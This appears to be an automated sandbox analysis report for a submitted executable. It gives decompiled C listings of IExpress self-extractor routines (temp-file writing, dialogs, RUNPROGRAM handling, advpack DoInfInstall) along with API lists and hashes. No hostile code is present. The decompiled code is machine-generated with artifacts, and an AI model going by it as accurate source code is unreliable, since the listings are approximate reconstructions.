Opcode ID: efcaa6e6787844b1491c7e623b0eee2063954710732cee2aa983b7bb485ad902
Instruction ID: 683b930f9ac0aaea23c5dc2daa5543969940a45f927378d4a660dadb8730dbd5
Opcode Fuzzy Hash: efcaa6e6787844b1491c7e623b0eee2063954710732cee2aa983b7bb485ad902
Instruction Fuzzy Hash: CA118E31A0010DEFDB20EF68D908AAE77F8EB89750F008199E99693185DA359E01CF95

Uniqueness

Uniqueness Score: -1.00%

Function 010C63C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E010C63C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E010C1781( &_v268, 0x104, __ecx, "C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
				E010C658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x10c9124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x10c9124 = 0x80070052;
					_t37 = 0;
				}
				return E010C6CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x010c63cb
0x010c63d2
0x010c63d8
0x010c63ea
0x010c63f3
0x010c6401
0x010c6402
0x010c6410
0x010c6415
0x010c6433
0x010c6438
0x010c6449
0x010c6463
0x010c646d
0x010c6477
0x010c6477
0x010c647a
0x010c643a
0x010c643a
0x010c6444
0x010c6444
0x010c6492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C647A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C63EB

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1193786559
Opcode ID: dad0d64cf15c08982519b444f19cb2dd191d02f59170e71a44eaa01eb7af254b
Instruction ID: ed9ac6cf5ee1e9cd0cd30c746cc4acfa809b120cb6f6d1e9361af5e36e4e3bba
Opcode Fuzzy Hash: dad0d64cf15c08982519b444f19cb2dd191d02f59170e71a44eaa01eb7af254b
Instruction Fuzzy Hash: C421C371A0021CAFD720DF25DC85FEF77A8EB99714F1041ADB9C5A3280DAB55D848F64

Uniqueness

Uniqueness Score: -1.00%

Function 010C47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C47E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E010C1680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x10c91e0; // 0xc282e0
						 *(_t34 + 4) = _t11;
						 *0x10c91e0 = _t34;
						return 1;
					}
					_t25 =  *0x10c8584; // 0x0
					E010C44B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x10c8584; // 0x0
				E010C44B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x010c47e8
0x010c47f0
0x010c47f4
0x010c480f
0x010c4811
0x010c4814
0x010c4814
0x010c4816
0x010c4817
0x010c4829
0x010c482b
0x010c482f
0x010c484f
0x010c4852
0x010c4855
0x010c4855
0x010c4857
0x010c4858
0x010c4860
0x010c4865
0x010c486a
0x010c486f
0x00000000
0x010c4876
0x010c4831
0x010c4841
0x010c4847
0x010c480b
0x00000000
0x010c480b
0x010c47f6
0x010c4806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,010C4E6F), ref: 010C47EA
LocalAlloc.KERNEL32(00000040,?), ref: 010C4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 010C4847

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C4851

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-1193786559
Opcode ID: b163da831e7f89852d67e635f57eb98fb4b80ab959164124601bbe555242b065
Instruction ID: 16bd6a5cec8b995a24048c53cf6bf7b3e17c0ef51f06955b8580a73d8b98219d
Opcode Fuzzy Hash: b163da831e7f89852d67e635f57eb98fb4b80ab959164124601bbe555242b065
Instruction Fuzzy Hash: 80110675604641AFE7658F249828F7F3B9AFBC5B40B14855DEDC2C7285DA3AC80ACF60

Uniqueness

Uniqueness Score: -1.00%

Function 010C6517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E010C6517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x10c9a3c; // 0x10c0000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E010C44B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x010c651f
0x010c652a
0x010c6534
0x010c656b
0x010c6577
0x010c657c
0x010c6536
0x010c653e
0x010c6542
0x00000000
0x010c6544
0x010c6547
0x010c654c
0x010c6549
0x010c6549
0x010c6549
0x010c655e
0x010c6560
0x010c6569
0x00000000
0x00000000
0x010c6569
0x010c6542
0x010c6587

APIs

FindResourceA.KERNEL32(010C0000,000007D6,00000005), ref: 010C652A
LoadResource.KERNEL32(010C0000,00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010C6538
DialogBoxIndirectParamA.USER32(010C0000,00000000,00000547,010C19E0,00000000), ref: 010C6557
FreeResource.KERNEL32(00000000,?,?,010C2EE8,00000000,010C19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010C6560

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 566dc1032f279b6c4dceb35f94a06fb633a7c962b5602d2e98924908fef97aa7
Instruction ID: eb983da292a56d414bb727df20b3aefb6ba8fde99aabaff9cb060cb43a2c35f6
Opcode Fuzzy Hash: 566dc1032f279b6c4dceb35f94a06fb633a7c962b5602d2e98924908fef97aa7
Instruction Fuzzy Hash: 7F018472600519BFDB315B599C48DBF7AACEB95B61F100159FE9093244DA77CD108FA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C3680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C3680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x010c368c
0x010c368f
0x010c3691
0x010c369f
0x010c36a7
0x00000000
0x00000000
0x010c36ba
0x00000000
0x010c36bc
0x010c36bc
0x010c36c0
0x010c36cb
0x010c36c2
0x010c36c4
0x010c36c4
0x010c36da
0x010c36e0
0x010c36e6
0x00000000
0x00000000
0x010c36e6
0x00000000
0x010c36ba
0x010c36ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 010C369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010C36B2
DispatchMessageA.USER32(?), ref: 010C36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010C36DA

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 1d39fdd69cc1aae150ee88c11e6554c020e2bd8e147d1710a959ab403cc9dc9b
Instruction ID: d0843ed73726712bb7726676a151f37706f5e0a41a37b2fc07ed2d366b7833e8
Opcode Fuzzy Hash: 1d39fdd69cc1aae150ee88c11e6554c020e2bd8e147d1710a959ab403cc9dc9b
Instruction Fuzzy Hash: CF017172A00218ABDB304BAA5C48EAF7ABCEBC9F50F00815DBE45E6284D6658540CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C65E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E010C65E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x010c65e8
0x010c65ed
0x010c65ef
0x010c65f2
0x010c65f4
0x010c65f4
0x010c65f6
0x010c65f7
0x010c6608
0x010c6611
0x010c6618
0x010c661c
0x00000000
0x00000000
0x010c660e
0x010c6623
0x010c6625
0x010c663b
0x010c663b
0x010c663d
0x010c6641
0x010c6610
0x010c6610
0x00000000
0x010c6610
0x010c6644
0x010c6647
0x010c6647
0x010c6621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,010C2B33), ref: 010C6602
CharPrevA.USER32(?,00000000), ref: 010C6612
CharPrevA.USER32(?,00000000), ref: 010C6629
CharNextA.USER32(00000000), ref: 010C6635

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 0cec8228a058bbb110ec937e73f1f91dd91030ddbe02a814b05bb80da962279a
Instruction ID: 8359d50ec6ef6ea80867946b49ebfda9aaad12fb015ca98b84796c8936e7ae27
Opcode Fuzzy Hash: 0cec8228a058bbb110ec937e73f1f91dd91030ddbe02a814b05bb80da962279a
Instruction Fuzzy Hash: F9F0D132104150AEE7320B2D888C8BFBFDCCF8B59472901AFE9D183201E61B09068F61

Uniqueness

Uniqueness Score: -1.00%

Function 010C69B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C69B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x10c81f8 = E010C6C70();
				__set_app_type(E010C6FBE(2));
				 *0x10c88a4 =  *0x10c88a4 | 0xffffffff;
				 *0x10c88a8 =  *0x10c88a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x10c8528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x10c851c; // 0x0
				 *_t5 = _t12;
				_t6 = E010C7000();
				if( *0x10c8000 == 0) {
					__setusermatherr(E010C7000);
				}
				E010C71EF(_t6);
				return 0;
			}

0x010c69b7
0x010c69c2
0x010c69c8
0x010c69cf
0x010c69d8
0x010c69de
0x010c69e4
0x010c69e6
0x010c69ec
0x010c69f2
0x010c69f4
0x010c6a00
0x010c6a07
0x010c6a0d
0x010c6a0e
0x010c6a15

APIs

Part of subcall function 010C6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 010C6FC5

__set_app_type.MSVCRT ref: 010C69C2
__p__fmode.MSVCRT ref: 010C69D8
__p__commode.MSVCRT ref: 010C69E6
__setusermatherr.MSVCRT ref: 010C6A07

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 1696639e1554738819c5208441eec10a68a87de68eaec45fa5e45282898162f8
Instruction ID: 180d498bad0f9709baddc6af494db168a930f810efbc9288849d35cad3b6e8e8
Opcode Fuzzy Hash: 1696639e1554738819c5208441eec10a68a87de68eaec45fa5e45282898162f8
Instruction Fuzzy Hash: 58F0F874604326CFC778AB38E50D6493BA2FB54721B20860EE8E2862D8DB7F81458F18

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bjAg.exePID: 6052, Parent PID: 6036COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	967
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01093BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E01093BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x1098004; // 0x8a9c601
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x1099124 =  *0x1099124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x1098a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x1098c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E0109468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E010944B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x1099124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E01091AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E01096CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E01093FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x1098580;
													if( *0x1098580 != 0) {
														E01092267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x1098180;
											if( *0x1098180 == 0) {
												_t146 = 0x4c7;
												E010944B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x1099124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x1099a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E01096495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E010944B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x1099124 = E01096285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E010944B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x1098a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x1099a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x1098a38 & 0x0000ffff;
											_v380 = 0x1099154;
											_v376 = _t151;
											_v372 = 0x10991e4;
											_v360 = _t97;
											if( *0x1098a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x1099a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x1098d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x1099a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x109a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x1099124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x1099a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x1098a20;
										if( *0x1098a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E0109202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E0109468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x1098c42;
									if( *0x1098c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x1098a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E0109468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E0109468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E01091781( &_v276, 0x104, _t130, 0x1098c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E0109468F(_t130, 0x1099a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x01093baa
0x01093bb0
0x01093bb7
0x01093bc0
0x01093bc2
0x01093bc9
0x01093bcb
0x01093bcf
0x01093bd3
0x01093bd9
0x01093bfd
0x01093bfd
0x01093bff
0x01093c03
0x01093c03
0x01093c11
0x01093c16
0x01093c19
0x01093c28
0x00000000
0x00000000
0x01093c30
0x01093c39
0x01093c40
0x01093d13
0x01093d15
0x01093d21
0x01093d26
0x00000000
0x01093c4f
0x01093c56
0x01093c60
0x01093c65
0x01093c77
0x01093c78
0x01093c7c
0x01093c7e
0x01093c82
0x01093c82
0x00000000
0x01093c7c
0x01093c67
0x01093c69
0x01093c6d
0x00000000
0x01093c58
0x01093c58
0x01093c6e
0x01093c6e
0x01093c87
0x01093c89
0x01093d4d
0x01093d4f
0x01093d50
0x01093d52
0x01093d9e
0x01093da8
0x01093daf
0x01093db4
0x01093db6
0x01093f4d
0x01093f4d
0x01093f4f
0x01093f56
0x01093f57
0x01093f58
0x01093f63
0x01093f63
0x01093dbc
0x01093dc0
0x01093dc2
0x01093de6
0x01093de6
0x01093de8
0x01093f0b
0x01093f0b
0x01093f0f
0x01093f13
0x01093f15
0x01093f1a
0x01093f1c
0x01093f46
0x01093f47
0x00000000
0x01093f47
0x01093f1e
0x01093f1f
0x01093f25
0x01093f26
0x01093f2a
0x01093f2d
0x01093fd9
0x01093fd9
0x01093fda
0x01093fda
0x01093fe1
0x01093fe3
0x01093fe3
0x01093fe8
0x00000000
0x01093fe8
0x01093f33
0x01093f37
0x00000000
0x01093f37
0x01093dee
0x01093dee
0x01093df5
0x01093fad
0x01093fb9
0x01093fc2
0x01093fc8
0x00000000
0x01093fc8
0x01093dfb
0x01093dfd
0x00000000
0x00000000
0x01093e03
0x01093e0a
0x00000000
0x00000000
0x01093e15
0x01093e17
0x01093e19
0x01093f94
0x01093fa4
0x01093f7c
0x01093f80
0x01093f8b
0x00000000
0x01093f8b
0x01093e2c
0x01093e30
0x01093e34
0x01093e36
0x01093f69
0x01093f6e
0x01093f70
0x01093f76
0x00000000
0x01093f76
0x01093e3c
0x01093e43
0x01093e47
0x01093e52
0x01093e56
0x01093e5c
0x01093e61
0x01093e68
0x01093e70
0x01093e74
0x01093e7c
0x01093e80
0x01093e82
0x01093e82
0x01093e87
0x01093e87
0x01093e8b
0x01093e91
0x01093e94
0x01093e96
0x01093e96
0x01093e9b
0x01093e9b
0x01093e9f
0x01093ea2
0x01093ea4
0x01093ea4
0x01093ea9
0x01093ea9
0x01093ead
0x01093eb3
0x01093eb6
0x01093eb8
0x01093eb8
0x01093ebd
0x01093ebd
0x01093ec1
0x01093ec3
0x01093ec5
0x01093ec5
0x01093eca
0x01093eca
0x01093ece
0x01093ed5
0x01093ed9
0x01093ee0
0x01093ee6
0x01093eea
0x01093eec
0x01093eee
0x01093ef3
0x01093ef3
0x01093ef5
